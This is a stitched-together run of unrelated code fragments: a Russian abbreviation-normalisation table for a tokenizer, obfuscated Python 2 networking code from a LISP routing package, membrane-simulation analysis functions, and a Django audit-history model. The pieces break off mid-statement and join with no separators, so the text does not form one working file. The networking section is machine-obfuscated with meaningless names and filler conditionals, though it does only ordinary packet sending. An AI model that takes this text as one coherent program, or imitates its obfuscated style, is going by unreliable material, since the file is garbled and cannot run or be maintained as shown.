"доктор фармацевтических наук"}, {ORTH: "д-р физ.-мат. наук", NORM: "доктор физико-математических наук"}, {ORTH: "д-р филол. наук", NORM: "доктор филологических наук"}, {ORTH: "д-р филос. наук", NORM: "доктор философских наук"}, {ORTH: "д-р хим. наук", NORM: "доктор химических наук"}, {ORTH: "д-р экон. наук", NORM: "доктор экономических наук"}, {ORTH: "д-р юрид. наук", NORM: "доктор юридических наук"}, {ORTH: "д-р", NORM: "доктор"}, {ORTH: "д.б.н.", NORM: "доктор биологических наук"}, {ORTH: "д.г.-м.н.", NORM: "доктор геолого-минералогических наук"}, {ORTH: "д.г.н.", NORM: "доктор географических наук"}, {ORTH: "д.и.н.", NORM: "доктор исторических наук"}, {ORTH: "д.иск.", NORM: "доктор искусствоведения"}, {ORTH: "д.м.н.", NORM: "доктор медицинских наук"}, {ORTH: "д.п.н.", NORM: "доктор психологических наук"}, {ORTH: "д.пед.н.", NORM: "доктор педагогических наук"}, {ORTH: "д.полит.н.", NORM: "доктор политических наук"}, {ORTH: "д.с.-х.н.", NORM: "доктор сельскохозяйственных наук"}, {ORTH: "д.социол.н.", NORM: "доктор социологических наук"}, {ORTH: "д.т.н.", NORM: "доктор технических наук"}, {ORTH: "д.т.н", NORM: "доктор технических наук"}, {ORTH: "д.ф.-м.н.", NORM: "доктор физико-математических наук"}, {ORTH: "д.ф.н.", NORM: "доктор филологических наук"}, {ORTH: "д.филос.н.", NORM: "доктор философских наук"}, {ORTH: "д.фил.н.", NORM: "доктор филологических наук"}, {ORTH: "д.х.н.", NORM: "доктор химических наук"}, {ORTH: "д.э.н.", NORM: "доктор экономических наук"}, {ORTH: "д.э.н", NORM: "доктор экономических наук"}, {ORTH: "д.ю.н.", NORM: "доктор юридических наук"}, {ORTH: "доц.", NORM: "доцент"}, {ORTH: "и.о.", NORM: "исполняющий обязанности"}, {ORTH: "к.б.н.", NORM: "кандидат биологических наук"}, {ORTH: "к.воен.н.", NORM: "кандидат военных наук"}, {ORTH: "к.г.-м.н.", NORM: "кандидат геолого-минералогических наук"}, {ORTH: "к.г.н.", NORM: "кандидат географических наук"}, {ORTH: "к.геогр.н", NORM: "кандидат географических наук"}, {ORTH: "к.геогр.наук", NORM: "кандидат географических наук"}, {ORTH: "к.и.н.", NORM: "кандидат исторических наук"}, {ORTH: "к.иск.", NORM: "кандидат искусствоведения"}, {ORTH: "к.м.н.", NORM: "кандидат медицинских наук"}, {ORTH: "к.п.н.", NORM: "кандидат психологических наук"}, {ORTH: "к.псх.н.", NORM: "кандидат психологических наук"}, {ORTH: "к.пед.н.", NORM: "кандидат педагогических наук"}, {ORTH: "канд.пед.наук", NORM: "кандидат педагогических наук"}, {ORTH: "к.полит.н.", NORM: "кандидат политических наук"}, {ORTH: "к.с.-х.н.", NORM: "кандидат сельскохозяйственных наук"}, {ORTH: "к.социол.н.", NORM: "кандидат социологических наук"}, {ORTH: "к.с.н.", NORM: "кандидат социологических наук"}, {ORTH: "к.т.н.", NORM: "кандидат технических наук"}, {ORTH: "к.ф.-м.н.", NORM: "кандидат физико-математических наук"}, {ORTH: "к.ф.н.", NORM: "кандидат филологических наук"}, {ORTH: "к.фил.н.", NORM: "кандидат филологических наук"}, {ORTH: "к.филол.н", NORM: "кандидат филологических наук"}, {ORTH: "к.фарм.наук", NORM: "кандидат фармакологических наук"}, {ORTH: "к.фарм.н.", NORM: "кандидат фармакологических наук"}, {ORTH: "к.фарм.н", NORM: "кандидат фармакологических наук"}, {ORTH: "к.филос.наук", NORM: "кандидат философских наук"}, {ORTH: "к.филос.н.", NORM: "кандидат философских наук"}, {ORTH: "к.филос.н", NORM: "кандидат философских наук"}, {ORTH: "к.х.н.", NORM: "кандидат химических наук"}, {ORTH: "к.х.н", NORM: "кандидат химических наук"}, {ORTH: "к.э.н.", NORM: "кандидат экономических наук"}, {ORTH: "к.э.н", NORM: "кандидат экономических наук"}, {ORTH: "к.ю.н.", NORM: "кандидат юридических наук"}, {ORTH: "к.ю.н", NORM: "кандидат юридических наук"}, {ORTH: "канд. архитектуры", NORM: "кандидат архитектуры"}, {ORTH: "канд. биол. наук", NORM: "кандидат биологических наук"}, {ORTH: "канд. ветеринар. наук", NORM: "кандидат ветеринарных наук"}, {ORTH: "канд. воен. наук", NORM: "кандидат военных наук"}, {ORTH: "канд. геогр. наук", NORM: "кандидат географических наук"}, {ORTH: "канд. геол.-минерал. наук", NORM: "кандидат геолого-минералогических наук"}, {ORTH: "канд. искусствоведения", NORM: "кандидат искусствоведения"}, {ORTH: "канд. ист. наук", NORM: "кандидат исторических наук"}, {ORTH: "к.ист.н.", NORM: "кандидат исторических наук"}, {ORTH: "канд. культурологии", NORM: "кандидат культурологии"}, {ORTH: "канд. мед. наук", NORM: "кандидат медицинских наук"}, {ORTH: "канд. пед. наук", NORM: "кандидат педагогических наук"}, {ORTH: "канд. полит. наук", NORM: "кандидат политических наук"}, {ORTH: "канд. психол. наук", NORM: "кандидат психологических наук"}, {ORTH: "канд. с.-х. наук", NORM: "кандидат сельскохозяйственных наук"}, {ORTH: "канд. социол. наук", NORM: "кандидат социологических наук"}, {ORTH: "к.соц.наук", NORM: "кандидат социологических наук"}, {ORTH: "к.соц.н.", NORM: "кандидат социологических наук"}, {ORTH: "к.соц.н", NORM: "кандидат социологических наук"}, {ORTH: "канд. техн. наук", NORM: "кандидат технических наук"}, {ORTH: "канд. фармацевт. наук", NORM: "кандидат фармацевтических наук"}, {ORTH: "канд. физ.-мат. наук", NORM: "кандидат физико-математических наук"}, {ORTH: "канд. филол. наук", NORM: "кандидат филологических наук"}, {ORTH: "канд. филос. наук", NORM: "кандидат философских наук"}, {ORTH: "канд. хим. наук", NORM: "кандидат химических наук"}, {ORTH: "канд. <NAME>", NORM: "кандидат экономических наук"}, {ORTH: "канд. юрид. наук", NORM: "кандидат юридических наук"}, {ORTH: "в.н.с.", NORM: "ведущий научный сотрудник"}, {ORTH: "мл. науч. сотр.", NORM: "младший научный сотрудник"}, {ORTH: "м.н.с.", NORM: "младший научный сотрудник"}, {ORTH: "проф.", NORM: "профессор"}, {ORTH: "профессор.кафедры", NORM: "профессор кафедры"}, {ORTH: "ст. науч. сотр.", NORM: "старший научный сотрудник"}, {ORTH: "чл.-к.", NORM: "член корреспондент"}, {ORTH: "чл.-корр.", NORM: "член-корреспондент"}, {ORTH: "чл.-кор.", NORM: "член-корреспондент"}, {ORTH: "дир.", NORM: "директор"}, {ORTH: "зам. дир.", NORM: "заместитель директора"}, {ORTH: "зав. каф.", NORM: "заведующий кафедрой"}, {ORTH: "зав.кафедрой", NORM: "заведующий кафедрой"}, {ORTH: "зав. кафедрой", NORM: "заведующий кафедрой"}, {ORTH: "асп.", NORM: "аспирант"}, {ORTH: "гл. науч. сотр.", NORM: "главный научный сотрудник"}, {ORTH: "вед. науч. сотр.", NORM: "ведущий научный сотрудник"}, {ORTH: "науч. сотр.", NORM: "научный сотрудник"}, {ORTH: "к.м.с.", NORM: "кандидат в мастера спорта"}, ]: _exc[abbr[ORTH]] = [abbr] for abbr in [ # Literary phrases abbreviations {ORTH: "и т.д.", NORM: "и так далее"}, {ORTH: "и т.п.", NORM: "и тому подобное"}, {ORTH: "т.д.", NORM: "так далее"}, {ORTH: "т.п.", NORM: "тому подобное"}, {ORTH: "т.е.", NORM: "то есть"}, {ORTH: "т.к.", NORM: "так как"}, {ORTH: "в т.ч.", NORM: "в том числе"}, {ORTH: "и пр.", NORM: "и прочие"}, {ORTH: "и др.", NORM: "и другие"}, {ORTH: "т.н.", NORM: "так называемый"}, ]: _exc[abbr[ORTH]] = [abbr] for abbr in [ # Appeal to a person abbreviations {ORTH: "г-н", NORM: "господин"}, {ORTH: "г-да", NORM: "господа"}, {ORTH: "г-жа", NORM: "госпожа"}, {ORTH: "тов.", NORM: "товарищ"}, ]: _exc[abbr[ORTH]] = [abbr] for abbr in [ # Time periods abbreviations {ORTH: "до н.э.", NORM: "до нашей эры"}, {ORTH: "по н.в.", NORM: "по настоящее время"}, {ORTH: "в н.в.", NORM: "в настоящее время"}, {ORTH: "наст.", NORM: "настоящий"}, {ORTH: "наст. время", NORM: "настоящее время"}, {ORTH: "г.г.", NORM: "годы"}, {ORTH: "гг.", NORM: "годы"}, {ORTH: "т.г.", NORM: "текущий год"}, ]: _exc[abbr[ORTH]] = [abbr] for abbr in [ # Address forming elements abbreviations {ORTH: "респ.", NORM: "республика"}, {ORTH: "обл.", NORM: "область"}, {ORTH: "г.ф.з.", NORM: "город федерального значения"}, {ORTH: "а.обл.", NORM: "автономная область"}, {ORTH: "а.окр.", NORM: "автономный округ"}, {ORTH: "м.р-н", NORM: "муниципальный район"}, {ORTH: "г.о.", NORM: "городской округ"}, {ORTH: "г.п.", NORM:
I1Ii111 % II111iiii if 91 - 91: I11i % Ii1I - IiII + iIii1I11I1II1 * iIii1I11I1II1 if 91 - 91: i11iIiiIii + Ii1I if 85 - 85: I11i % IiII def lisp_api_ipc ( source , data ) : return ( "api@" + str ( len ( data ) ) + "@" + source + "@@" + data ) if 68 - 68: Oo0Ooo . I1Ii111 - o0oOOo0O0Ooo * iIii1I11I1II1 - II111iiii % i1IIi if 58 - 58: I11i / i11iIiiIii * i11iIiiIii if 24 - 24: ooOoO0o - I1Ii111 * II111iiii - II111iiii if 47 - 47: IiII - iIii1I11I1II1 / OoOoOO00 * iII111i - iIii1I11I1II1 % oO0o if 93 - 93: Ii1I / iII111i if 100 - 100: Oo0Ooo if 94 - 94: I1ii11iIi11i / i1IIi * I1IiiI - I11i - I1ii11iIi11i if 6 - 6: I1ii11iIi11i % o0oOOo0O0Ooo + o0oOOo0O0Ooo / OOooOOo / I1IiiI if 67 - 67: OoOoOO00 . iII111i / OOooOOo * ooOoO0o + i1IIi def lisp_ipc ( packet , send_socket , node ) : if 100 - 100: OOooOOo . ooOoO0o + I1Ii111 . oO0o if 20 - 20: i11iIiiIii - i1IIi - iIii1I11I1II1 - OoooooooOO if 72 - 72: I1Ii111 . OoO0O00 if 59 - 59: I1IiiI * I11i % i1IIi if ( lisp_is_running ( node ) == False ) : lprint ( "Suppress sending IPC to {}" . format ( node ) ) return if 77 - 77: OOooOOo * OoooooooOO + I1IiiI + I1IiiI % oO0o . OoooooooOO if 60 - 60: iIii1I11I1II1 ii1iiiI = 1500 if ( packet . find ( "control-packet" ) == - 1 ) else 9000 if 37 - 37: i11iIiiIii * i11iIiiIii * OoOoOO00 + OoO0O00 . I1IiiI OoO00oo00 = 0 iiiIIiiIi = len ( packet ) O00ooOoO = 0 I111iII = .001 while ( iiiIIiiIi > 0 ) : o0O = min ( iiiIIiiIi , ii1iiiI ) OoO0oo = packet [ OoO00oo00 : o0O + OoO00oo00 ] if 26 - 26: I1IiiI % iIii1I11I1II1 / OoO0O00 try : send_socket . sendto ( OoO0oo , node ) lprint ( "Send IPC {}-out-of-{} byte to {} succeeded" . format ( len ( OoO0oo ) , len ( packet ) , node ) ) if 71 - 71: OoOoOO00 + iII111i - I1IiiI O00ooOoO = 0 I111iII = .001 if 80 - 80: OoO0O00 . ooOoO0o except socket . error , oOo : if ( O00ooOoO == 12 ) : lprint ( "Giving up on {}, consider it down" . format ( node ) ) break if 58 - 58: iII111i / o0oOOo0O0Ooo . iII111i % OoO0O00 if 38 - 38: iIii1I11I1II1 % IiII * OoooooooOO - OOooOOo lprint ( "Send IPC {}-out-of-{} byte to {} failed: {}" . format ( len ( OoO0oo ) , len ( packet ) , node , oOo ) ) if 15 - 15: I1IiiI + iIii1I11I1II1 . i11iIiiIii % oO0o if 92 - 92: I11i O00ooOoO += 1 time . sleep ( I111iII ) if 96 - 96: O0 / i1IIi - i11iIiiIii / OoOoOO00 + OoooooooOO lprint ( "Retrying after {} ms ..." . format ( I111iII * 1000 ) ) I111iII *= 2 continue if 12 - 12: oO0o . OOooOOo if 76 - 76: oO0o - I11i * I1Ii111 . oO0o % iIii1I11I1II1 OoO00oo00 += o0O iiiIIiiIi -= o0O if 86 - 86: OoooooooOO + I1Ii111 return if 5 - 5: I1ii11iIi11i if 89 - 89: OoO0O00 - OoOoOO00 / II111iiii . I1ii11iIi11i if 50 - 50: Ii1I * I1Ii111 * OoooooooOO . OoooooooOO if 67 - 67: i11iIiiIii % ooOoO0o . I1ii11iIi11i + II111iiii . OoO0O00 if 42 - 42: I11i / OoO0O00 / OoO0O00 * OOooOOo if 2 - 2: II111iiii % oO0o . I1Ii111 if 100 - 100: OoOoOO00 + OoOoOO00 def lisp_format_packet ( packet ) : packet = binascii . hexlify ( packet ) OoO00oo00 = 0 oo0Oo0oo = "" iiiIIiiIi = len ( packet ) * 2 while ( OoO00oo00 < iiiIIiiIi ) : oo0Oo0oo += packet [ OoO00oo00 : OoO00oo00 + 8 ] + " " OoO00oo00 += 8 iiiIIiiIi -= 4 if 26 - 26: II111iiii * iII111i + OOooOOo return ( oo0Oo0oo ) if 28 - 28: Ii1I + O0 if 44 - 44: oO0o if 51 - 51: o0oOOo0O0Ooo * o0oOOo0O0Ooo . Ii1I if 14 - 14: OoO0O00 . I11i % II111iiii % i11iIiiIii + OoooooooOO if 50 - 50: i11iIiiIii * I11i + i11iIiiIii - i1IIi if 69 - 69: I1IiiI + IiII + oO0o * I1ii11iIi11i . iIii1I11I1II1 / OoooooooOO if 77 - 77: Oo0Ooo - ooOoO0o def lisp_send ( lisp_sockets , dest , port , packet ) : o0oO0OooO0oo = lisp_sockets [ 0 ] if dest . is_ipv4 ( ) else lisp_sockets [ 1 ] if 52 - 52: IiII + OoooooooOO . oO0o + O0 % iII111i if 6 - 6: o0oOOo0O0Ooo + Oo0Ooo if 45 - 45: oO0o % O0 / O0 if 98 - 98: I1Ii111 if 58 - 58: OOooOOo if 6 - 6: I1ii11iIi11i if 37 - 37: i11iIiiIii . II111iiii + OOooOOo + i1IIi * OOooOOo if 18 - 18: ooOoO0o if 18 - 18: I1Ii111 + OoOoOO00 % OOooOOo - IiII - i1IIi + I1ii11iIi11i if 33 - 33: I11i * Ii1I / Oo0Ooo + oO0o % OOooOOo % OoooooooOO if 29 - 29: Ii1I . II111iiii / I1Ii111 if 79 - 79: IiII . OoOoOO00 / oO0o % OoO0O00 / Ii1I + I11i ii1i1II11II1i = dest . print_address_no_iid ( ) if ( ii1i1II11II1i . find ( "::ffff:" ) != - 1 and ii1i1II11II1i . count ( "." ) == 3 ) : if ( lisp_i_am_rtr ) : o0oO0OooO0oo = lisp_sockets [ 0 ] if ( o0oO0OooO0oo == None ) : o0oO0OooO0oo = lisp_sockets [ 0 ] ii1i1II11II1i = ii1i1II11II1i . split ( "::ffff:" ) [ - 1 ] if 78 - 78: o0oOOo0O0Ooo + I1Ii111 % i11iIiiIii % I1IiiI - Ii1I if 81 - 81: i11iIiiIii - II111iiii + I11i if 52 - 52: II111iiii lprint ( "{} {} bytes {} {}, packet: {}" . format ( bold ( "Send" , False ) , len ( packet ) , bold ( "to " + ii1i1II11II1i , False ) , port , lisp_format_packet ( packet ) ) ) if 62 - 62: iII111i / OoO0O00 + i11iIiiIii / Oo0Ooo if 26 - 26: I1ii11iIi11i - OoO0O00 if 19 - 19: iIii1I11I1II1 / I1ii11iIi11i + O0 if 12 - 12: I11i . OOooOOo + o0oOOo0O0Ooo . OoO0O00 + o0oOOo0O0Ooo Oooo0 = ( LISP_RLOC_PROBE_TTL == 255 ) if ( Oooo0 ) : I1I1 = struct . unpack ( "B" , packet [ 0 ] ) [ 0 ] Oooo0 = ( I1I1 in [ 0x12 , 0x28 ] ) if ( Oooo0 ) : lisp_set_ttl ( o0oO0OooO0oo , LISP_RLOC_PROBE_TTL ) if 66 - 66: i11iIiiIii * IiII % IiII . I1IiiI / ooOoO0o if 50 - 50: IiII . iII111i / o0oOOo0O0Ooo % OoOoOO00 * IiII % I11i try : o0oO0OooO0oo . sendto ( packet , ( ii1i1II11II1i , port ) ) except socket . error , oOo : lprint ( "socket.sendto() failed: {}" . format ( oOo ) ) if 15 - 15: Ii1I if 29 - 29: I11i / I1IiiI / OoooooooOO . OoOoOO00 / I11i . I1Ii111 if 69 - 69: O0 * OoOoOO00 + o0oOOo0O0Ooo + I1IiiI % iII111i . OoooooooOO if 45 - 45: I1Ii111 + oO0o - o0oOOo0O0Ooo - OoOoOO00 + I1IiiI / II111iiii if 46 - 46: II111iiii . iIii1I11I1II1 if ( Oooo0 ) : lisp_set_ttl ( o0oO0OooO0oo , 64 ) return if 62 - 62: I1ii11iIi11i % i1IIi % I1Ii111 * ooOoO0o % OOooOOo + I1IiiI if 100 - 100: II111iiii - o0oOOo0O0Ooo * OoooooooOO . ooOoO0o /
the pore centers. :param coord: the coordinates of the component(s) which you want a radial distribution of at each frame :param pore_centers: a numpy array of the locations of each pore center at each trajectory frame :param cut: cutoff distance for distance calculations. Will not count anything further than cut from the pore center :param nbins: number of bins in r direction :param spline: calculate RDF with respect to spline :type coord: numpy.ndarray :type pore_centers: numpy.ndarray :type cut: float :type nbins: int :type spline: bool :return: Radial distance from pore center r, and the density of a species, whose positions are defined by `coordinates`, as a function the distance from the pore center. """ nT = coord.shape[0] pores = pore_centers.shape[1] density = np.zeros([nT, nbins]) # number / nm^3 for t in tqdm.tqdm(range(nT), unit=' Frames'): for p in range(pores): if spline: distances = radial_distance_spline(pore_centers[t, p, ...], coord[t, ...], box[t, ...]) else: distances = np.linalg.norm(coord[t, :, :2] - pore_centers[t, p, :], axis=1) hist, bin_edges = np.histogram(distances, bins=nbins, range=(0, cut)) density[t, :] += hist density[t, :] /= (pores * box[t, 2, 2]) # normalize by z-dimension # normalize based on volume of anulus where bin is located (just need to divide by area since height done above) r = np.zeros([nbins]) for i in range(nbins): density[:, i] /= (np.pi * (bin_edges[i + 1] ** 2 - bin_edges[i] ** 2)) r[i] = (bin_edges[i + 1] + bin_edges[i]) / 2 # center of bins return r, density def distance_from_pore_center(coord, pore_centers, box, spline=False): """ Measure the density of a component as a function of the distance from the pore centers. :param coord: the coordinates of the component(s) which you want a radial distribution of at each frame :param pore_centers: a numpy array of the locations of each pore center at each trajectory frame :param cut: cutoff distance for distance calculations. Will not count anything further than cut from the pore center :param :type coord: numpy.ndarray :type pore_centers: numpy.ndarray :type cut: float :return: Radial distance of each individual solute/component, defined by coords, as a function of time """ nT = coord.shape[0] pores = pore_centers.shape[1] nsolute = coord.shape[1] r_distances = np.zeros([nT, nsolute]) for t in tqdm.tqdm(range(nT), unit=' Frames'): rd = np.zeros([nsolute, pores]) for p in range(pores): if spline: rd[:, p] = radial_distance_spline(pore_centers[t, p, ...], coord[t, ...], box[t, ...]) else: rd[:, p] = np.linalg.norm(coord[t, :, :2] - pore_centers[t, p, :], axis=1) # Move the minimum solute--pore-center distance for each solute to the first index of rd # This removes any assumption that there is a constant number of solutes per pore and that the solute # stays in the same pore. for i, r in enumerate(rd): # there is probably a vectorized way to do this with argsort rd[i, :] = r[np.argsort(r)] r_distances[t, :] = rd[:, 0] return r_distances def radial_distance_spline(spline, com, box): """ Calculate radial distance from pore center based on distance from center of mass to closest z point in spline :param spline: coordinates of spline for a single pore and frame :param com: atomic center of mass z-coordinates :param zbox: z box dimension (nm) :type spline: np.ndarray [npts_spline, 3] :type com: np.ndarray [n_com, 3] :type zbox: float :return: array of distances from pore center """ edges = np.zeros([spline.shape[0] + 1]) edges[1:-1] = ((spline[1:, 2] - spline[:-1, 2]) / 2) + spline[:-1, 2] edges[-1] = box[2, 2] com = wrap_box(com, box) # while np.min(com[:, 2]) < 0 or np.max(com[:, 2]) > zbox: # because cross-linked configurations can extend very far up and down # com[:, 2] = np.where(com[:, 2] < 0, com[:, 2] + zbox, com[:, 2]) # com[:, 2] = np.where(com[:, 2] > zbox, com[:, 2] - zbox, com[:, 2]) zbins = np.digitize(com[:, 2], edges) # handle niche case where coordinate lies exactly on the upper or lower bound zbins = np.where(zbins == 0, zbins + 1, zbins) zbins = np.where(zbins == edges.size, zbins - 1, zbins) return np.linalg.norm(com[:, :2] - spline[zbins - 1, :2], axis=1) def minimum_image_distance(dist, box): """ Calculate minimum image distances from a vector of distances. This assumes a monoclinic unit cell where the x box vector is fixed along the x-axis, the z-box vector is perpendicular to the xy plane, and the y-box vector makes an angle, theta, with the x-axis. :param d: a vector of distances (n, 3) where n is number of points :param box: box vectors meant to enclose d, mdtraj format: (3, 3) :return: """ x_box = box[0, 0] # length of x-box vector y_box = box[1, 1] # perpendicular distance from x-axis to top of box in y-direction z_box = box[2, 2] # length of z-box vector d = np.copy(dist) angle = np.arcsin(y_box / x_box) # angle between y-box vector and x-box vector in radians # check x coordinates while np.max(np.abs(d[:, 0])) > 0.5*x_box: # iterate in case subtracting/adding box vector length once isn't enough d[:, 0] = np.where(d[:, 0] > 0.5*x_box, d[:, 0] - x_box, d[:, 0]) d[:, 0] = np.where(d[:, 0] < -0.5*x_box, d[:, 0] + x_box, d[:, 0]) # check y coordinates while np.amax(np.abs(d[:, 1])) > 0.5*y_box: # written differently because np.where didn't know how to handle 2 axes d[np.where(d[:, 1] > 0.5*y_box)[0], :2] -= [x_box*np.cos(angle), y_box] d[np.where(d[:, 1] < -0.5*y_box)[0], :2] += [x_box*np.cos(angle), y_box] # check z coordinates while np.max(np.abs(d[:, 2])) > 0.5*z_box: d[:, 2] = np.where(d[:, 2] > 0.5*z_box, d[:, 2] - z_box, d[:, 2]) d[:, 2] = np.where(d[:, 2] < -0.5*z_box, d[:, 2] + z_box, d[:, 2]) return d def partition(com, pore_centers, r, buffer=0, unitcell=None, npores=4, spline=False, spline_range=None): """ Partition residue center of masses into tail and pore region :param com: positions of centers of mass of particle whose partition we are calculating :param pore_centers: positions of pore centers :param r: pore radius, outside of which atoms will be considered in the tail region :param buffer: z distance (nm) to cut out from top and bottom of membrane (in cases where there is a water gap) :param unitcell: unitcell vectors in mdtraj format (t.unitcell_vectors). Only needed if buffer and/or spline is used :param npores: number of pores :param spline: calculate partition with respect to pore spline :param spline_range: range of frames to use in spline. Provide a tuple with the first and last (non-inclusive) frame that should be included. :type com: numpy.ndarray (nT, ncom, 3) :type pore_centers: numpy.ndarray (nT, npores, 2) or (nT, npores, 3) or (nT, npores, npts, 3) if spline=True where npts=number of points in spline :type r: float :type buffer: float :type unitcell: numpy.ndarray (nT, 3, 3) :type npores: int :type spline: bool :type spline_path: str :type spline_range: NoneType or tuple :return part: boolean numpy array with shape (nT, com.shape[1]) where True indicates a center of mass that is inside the inner region (i.e. < r) """ nT = com.shape[0] if spline: npts = pore_centers.shape[2] # number of points in each spline if nT < pore_centers.shape[0]: if spline_range is not None: start, end = spline_range pore_centers = pore_centers[start:end] else: print('The number of frames in the trajectory is less than the number frames in the spline. I will assume ' 'that the difference has been chopped off from the front of the full trajectory and truncate the ' 'spline accordingly. If this seems wrong, check out partition() in LLC_Membranes.llclib.physical') diff = pore_centers.shape[0] - nT pore_centers = pore_centers[diff:, ...] # assumes trajectory h part = np.zeros([nT, com.shape[1]], dtype=bool) # Will be changed to True if solute in pores print('Calculating solute partition...') for i in tqdm.tqdm(range(nT)): if buffer > 0: xy_positions = com[i, (com[i, :, 2] > buffer) & (com[i, :, 2] < unitcell[i, 2, 2] - buffer), :2] else: xy_positions = com[i, :, :2] if spline: z = com[i, :, 2] # extract z-coordinates for this frame zbox = unitcell[i, 2, 2] # z-box vector for this frame # make sure z-component of every particle
only # the modified if self.action_type in ("dl","cr",): fields = inst.fields + inst.foreignkeys else: fields = [i.key for i in self.modification_commits.all()] for field in fields: if not nohtml: text += "<strong>%s</strong>: " % field else: text += "%s: " % field # If modified, show what it was like one step earlier if self.action_type == "md": if not nohtml: text += "%s &#8594; " % \ inst.at_previous_action._field_value_html(field) else: text += "%s -> " % \ inst.at_previous_action._field_value_text(field) if not nohtml: text += "%s<br/>" % inst._field_value_html(field) else: text += "%s\n" % inst._field_value_text(field) return text _details.allow_tags = True class CreationCommit(Model): content_type = ForeignKey( ContentType, db_index = True ) object_uid = CharField( max_length = 32, db_index = True ) action = ForeignKey( Action, related_name = "creation_commits", db_index = True ) def __unicode__(self): return "%s %s" % (self.content_type.name, self.object_uid,) class DeletionCommit(Model): object_uid = CharField( max_length = 32, db_index = True ) action = ForeignKey( Action, related_name = "deletion_commits", db_index = True ) class ModificationCommit(Model): object_uid = CharField( max_length = 32, db_index = True ) action = ForeignKey( Action, related_name = "modification_commits", db_index = True ) key = CharField( max_length = 30, null = True ) value = TextField(null=True) class TimeMachine: """Use this to find the state of objects at different moments in time. Constructor arguments: uid -- The value of the uid field of the object for which you want a TimeMachine. when -- A Python datetime object representing the time at which the TimeMachine will be. (optional) step -- The value of the id field of an Action. The TimeMachine will be represent the time right after the Action. (Optional, by default the TimeMachine will be at present Action. Incompatible with the when argument.) """ def __init__(self, uid, when=None, step=None, info=None): self.uid = uid if not when and not step: when = datetime.datetime.now() if when: self.when = when try: self.step = Action.objects.filter( when__lte = self.when )[0].id except IndexError: raise DisciplineException("You tried to get an a TimeMachine" "at current action, but there is no action!") elif step: self.step = step self.when = Action.objects.get(id = step).when if not info: info = self.__update_information() else: self.info = info for key in info.keys(): setattr(self, key, info[key]) # Find the last SchemaState for this model in this app ss = SchemaState.objects.filter(when__lt = self.when)[0]\ .get_for_content_type(self.content_type) self.model_exists = not not ss if not self.model_exists: if sorted(self.creation_times)[0] <= self.step: raise DisciplineIntegrityError( "%s with uid %s was created before the schema for its" \ " model was registered by Discipline (created: %s)." \ % (self.content_type.name, self.uid, self.when,) ) return # Use it to find out which fields the model had at this point in time self.fields = ss["fields"] self.foreignkeys = ss["foreignkeys"] def __update_information(self): """Gether information that doesn't change at different points in time""" info = {} info["actions_count"] = Action.objects.count() info["creation_times"] = [] info["deletion_times"] = [] info["content_type"] = None # Find object type and when it was created for ccommit in CreationCommit.objects.filter(object_uid=self.uid): info["creation_times"].append(ccommit.action.id) info["creation_times"].sort() for dcommit in DeletionCommit.objects.filter(object_uid=self.uid): info["deletion_times"].append(dcommit.action.id) info["deletion_times"].sort() try: info["content_type"] = ccommit.content_type except NameError: raise DisciplineException("You tried to make a TimeMachine out of" " an object that doesn't exist!") self.info = info for key in info.keys(): setattr(self, key, info[key]) def at(self, step): """Return a TimeMachine for the same object at a different time. Takes an integer argument representing the id field of an Action. Returns the TimeMachine at the time of that Action. (Less ambiguously: at the time right after the Action. """ return TimeMachine( self.uid, step = step, info = copy.deepcopy(self.info) ) def __presently(self): return self.at(Action.objects.order_by("-id")[0].id) presently = property(__presently) def __at_previous_action(self): return self.at(self.step - 1) at_previous_action = property(__at_previous_action) def _get_modcommit(self, key): """Return the last modcommit of the given field. If no modcommit exists (for example after a migration that created new fields) returns None. """ try: return ModificationCommit.objects.filter( object_uid = self.uid, key = key, action__id__lte = self.step ).order_by("-action__id")[0] except IndexError: return None def get(self, key): """Return the value of a field. Take a string argument representing a field name, return the value of that field at the time of this TimeMachine. When restoring a ForeignKey-pointer object that doesn't exist, raise DisciplineException """ modcommit = self._get_modcommit(key) if not modcommit: return None # If this isn't a ForeignKey, then just return the value if key not in self.foreignkeys: return cPickle.loads(str(modcommit.value)) # If it is, then return the object instance try: return TimeMachine(uid = modcommit.value).get_object() except self.content_type.DoesNotExist: raise DisciplineException("When restoring a ForeignKey, the " \ "%s %s was not found." % (self.content_type.name, self.uid)) def get_timemachine_instance(self, key): """Return a TimeMachine for a related object. Take a string argument representing a ForeignKey field name, find what object was related to this one at the time of this TimeMachine and return a TimeMachine for that related object. """ modcommit = self._get_modcommit(key) if not modcommit: return None return TimeMachine(uid = modcommit.value) def get_object(self): """Return the object of this TimeMachine""" return self.content_type.model_class().objects.get(uid = self.uid) def __exists(self): # Make sure no actions have been created since! if Action.objects.count() != self.actions_count: self.__update_information() created_on = None deleted_on = None # Get the *last* time that it was created for c in reversed(self.creation_times): if c <= self.step: created_on = c break if not created_on: return False # Get the *last* time that it was deleted for d in reversed(self.deletion_times): if d <= self.step: deleted_on = d break if deleted_on and deleted_on > created_on: return False return True exists = property(__exists) __current_action = None def __get_current_action(self): if not self.__current_action: self.__current_action = Action.objects.get(id = self.step) return self.__current_action current_action = property(__get_current_action) def restore(self, nosave=False): """Restore all of the object attributes to the attributes. Return the Django object. """ if self.exists: obj = self.content_type.model_class().objects.get(uid=self.uid) else: obj = self.content_type.model_class()(uid=self.uid) for field in self.fields + self.foreignkeys: obj.__setattr__(field, self.get(field)) if not nosave: obj.save() return obj def __unicode__(self): return "%s (%s)" % (unicode(self.content_type), self.uid,) def url(self): """Return the admin url of the object.""" return urlresolvers.reverse( "admin:%s_%s_change" % (self.content_type.app_label, self.content_type.model), args = (self.get_object().uid,)) def _object_type_html(self): """Return an html admin link with the object's type as text. If the object doesn't exist, return the object's type crossed out. """ if self.exists: return "<a href=\"%s\">%s</a>" % (self.url(), self.content_type.name,) else: return "<s>%s</s>" % self.content_type.name def _object_name_html(self): """Return an html admin link with the object's name as text. If the object doesn't exist, return "(deleted)". """ if self.presently.exists: url = self.url() return "<a href=\"%s\">%s</a>" % (url, unicode(self.get_object()),) else: return "(deleted)" def _field_value_html(self, field): """Return the html representation of the value of the given field""" if field in self.fields: return unicode(self.get(field)) else: return self.get_timemachine_instance(field)._object_name_html() def _field_value_text(self, field): """Return the html representation of the value of the given field""" if field in self.fields: return unicode(self.get(field)) else: return self.get_timemachine_instance(field)._object_name_text() def _object_name_text(self): """Return the object's unicode representation. If the object doesn't exist, return "(deleted)". """ if self.presently.exists: return unicode(self.get_object()) else: return "(deleted)" def _object_type_text(self): """Return the name of the object's content type.""" return self.content_type.name class SchemaState(Model): """Record the state of each relevant model's fields at a point in time. Fields: when -- BooleanField representing the time of this snapshot state -- TextField holding the json representation of the schema state. Do not use this field, use public methods. """ when = DateTimeField(auto_now_add=True, verbose_name="Saved") state = TextField() def get_for_content_type(self, ct): 